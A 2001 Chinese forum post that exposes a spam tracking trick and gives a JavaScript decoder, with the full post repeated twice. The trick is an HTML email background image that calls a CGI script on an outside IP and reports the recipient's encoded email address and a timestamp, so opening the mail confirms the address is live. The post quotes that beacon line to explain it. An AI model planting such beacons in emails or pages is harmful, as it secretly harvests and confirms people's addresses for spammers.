joe.oo
2001-03-13, 08:07 PM
前一陣子，很多人都收到「仙蒂」的 email ，
從信件的內容看來，好像是寄錯了．
有人還亂傳可能是有病毒或是駭客，其實不然．
這些信都是 Html 的格式，我打開原始檔一看，赫然發現一行如：
body background='http://203.69.200.163/cgi-bin/perl/image.cgi?no=219-198-205-(中間省略)-220-982648422'
這一行是很普通的 Html 語法，意思是：
你這封 Html 格式的 email 的背景圖是自動鏈結到 http://203.69.200.163 ，由 image.cgi 這支程式產生圖檔之後
送回你的電腦，你才能看到背景圖．( 而 /cgi-bin/perl/ 是 image.cgi 的路徑 )
「no」 是參數名稱，
「= 」之後的字串就是要傳入的「值」了，
相信懂得 PHP , cgi , perl , asp .... 的人都知道這些吧 !
問題來了，為什麼如此單純的 email 其用到的背景圖要如此大費周章，用 cgi 去產生，而且還要傳入不一樣的「值」 ??
顯然是在搞什麼鬼．
但是，這一大串的數字，三位數一組，以 「-」 相隔，最後又是九位數字，代表什麼意思呢 ??
研究之後發現：
前面 ( 三位數一組，以「-」相隔 ) 是一個 email address ，但是有經過加密．
後面 ( 九位數字 ) 是一個日期，會寫 php 的人應該有印象吧，就是 Unix Epoch ( January 1 1970 GMT )起算的秒數．
下列是我寫的 javaScript 碼，可以幫大家解開這個謎底．
如果你懂得怎麼用 javaScript ，你可以利用下面的程式，幫你解密．
只有把 「***」換成你信中的那個字串(例如 : 201-202-203-232-220-205-219-220-134-203-199-197-134-210-223-982247774)
然後用 ie 開啟就會出現了．
當你看到解密之後的 email address，是不是覺得很眼熟，應該就是你自己收到「仙蒂」的 mail Box 對吧 ??
如果是，那麼很明顯地，這是某個不消人士收集有效 email address 的手法，
因為，你一打開 email，並且是在上網的同時，那這封 email 就偷偷地用讓人就沒有防範的 http 協定，
自動連結回他們的主機 http://203.69.200.163 ，回報說你的 email address 是有效的．
// copy there start
var code = "***"; // 把 *** 換成 no= 之後的字串例如 : 201-202-203-232-220-205-219-220-134-203-199-197-134-210-223-982247774
myarry = code.split("-");
str = "";
for( count = 0 ; count < myarry.length-1 ; count++ ){
if ( myarry[count] == 134 ){
str += ".";
} else if ( myarry[count] == 232 ){
str += "@";
} else if ( ( myarry[count] >= 192 && myarry[count] <= 199 ) || ( myarry[count] >= 209 && myarry[count] <= 210 ) ){
str += String.fromCharCode(myarry[count]-88);
} else if ( ( myarry[count] >= 201 && myarry[count] <= 207 ) || ( myarry[count] >= 216 && myarry[count] <= 224 ) ){
str += String.fromCharCode(myarry[count]-104);
} else if ( myarry[count] >= 144 && myarry[count] <= 145 ){
str += String.fromCharCode(myarry[count]-88);
} else {
str += String.fromCharCode(myarry[count]-104);
}
}
Millisecond = myarry[myarry.length-1];
myDate = new Date();
myDate.setTime(parseInt(myarry[myarry.length-1])*1000);
document.write( "<p>原始字串 : " + code + "<br> email : " + str + "<br> 日期 : " + myDate.toGMTString() + "</p>" );
// end
從信件的內容看來，好像是寄錯了．
有人還亂傳可能是有病毒或是駭客，其實不然．
這些信都是 Html 的格式，我打開原始檔一看，赫然發現一行如：
body background='http://203.69.200.163/cgi-bin/perl/image.cgi?no=219-198-205-(中間省略)-220-982648422'
這一行是很普通的 Html 語法，意思是：
你這封 Html 格式的 email 的背景圖是自動鏈結到 http://203.69.200.163 ，由 image.cgi 這支程式產生圖檔之後
送回你的電腦，你才能看到背景圖．( 而 /cgi-bin/perl/ 是 image.cgi 的路徑 )
「no」 是參數名稱，
「= 」之後的字串就是要傳入的「值」了，
相信懂得 PHP , cgi , perl , asp .... 的人都知道這些吧 !
問題來了，為什麼如此單純的 email 其用到的背景圖要如此大費周章，用 cgi 去產生，而且還要傳入不一樣的「值」 ??
顯然是在搞什麼鬼．
但是，這一大串的數字，三位數一組，以 「-」 相隔，最後又是九位數字，代表什麼意思呢 ??
研究之後發現：
前面 ( 三位數一組，以「-」相隔 ) 是一個 email address ，但是有經過加密．
後面 ( 九位數字 ) 是一個日期，會寫 php 的人應該有印象吧，就是 Unix Epoch ( January 1 1970 GMT )起算的秒數．
下列是我寫的 javaScript 碼，可以幫大家解開這個謎底．
如果你懂得怎麼用 javaScript ，你可以利用下面的程式，幫你解密．
只有把 「***」換成你信中的那個字串(例如 : 201-202-203-232-220-205-219-220-134-203-199-197-134-210-223-982247774)
然後用 ie 開啟就會出現了．
當你看到解密之後的 email address，是不是覺得很眼熟，應該就是你自己收到「仙蒂」的 mail Box 對吧 ??
如果是，那麼很明顯地，這是某個不消人士收集有效 email address 的手法，
因為，你一打開 email，並且是在上網的同時，那這封 email 就偷偷地用讓人就沒有防範的 http 協定，
自動連結回他們的主機 http://203.69.200.163 ，回報說你的 email address 是有效的．
// copy there start
var code = "***"; // 把 *** 換成 no= 之後的字串例如 : 201-202-203-232-220-205-219-220-134-203-199-197-134-210-223-982247774
myarry = code.split("-");
str = "";
for( count = 0 ; count < myarry.length-1 ; count++ ){
if ( myarry[count] == 134 ){
str += ".";
} else if ( myarry[count] == 232 ){
str += "@";
} else if ( ( myarry[count] >= 192 && myarry[count] <= 199 ) || ( myarry[count] >= 209 && myarry[count] <= 210 ) ){
str += String.fromCharCode(myarry[count]-88);
} else if ( ( myarry[count] >= 201 && myarry[count] <= 207 ) || ( myarry[count] >= 216 && myarry[count] <= 224 ) ){
str += String.fromCharCode(myarry[count]-104);
} else if ( myarry[count] >= 144 && myarry[count] <= 145 ){
str += String.fromCharCode(myarry[count]-88);
} else {
str += String.fromCharCode(myarry[count]-104);
}
}
Millisecond = myarry[myarry.length-1];
myDate = new Date();
myDate.setTime(parseInt(myarry[myarry.length-1])*1000);
document.write( "<p>原始字串 : " + code + "<br> email : " + str + "<br> 日期 : " + myDate.toGMTString() + "</p>" );
// end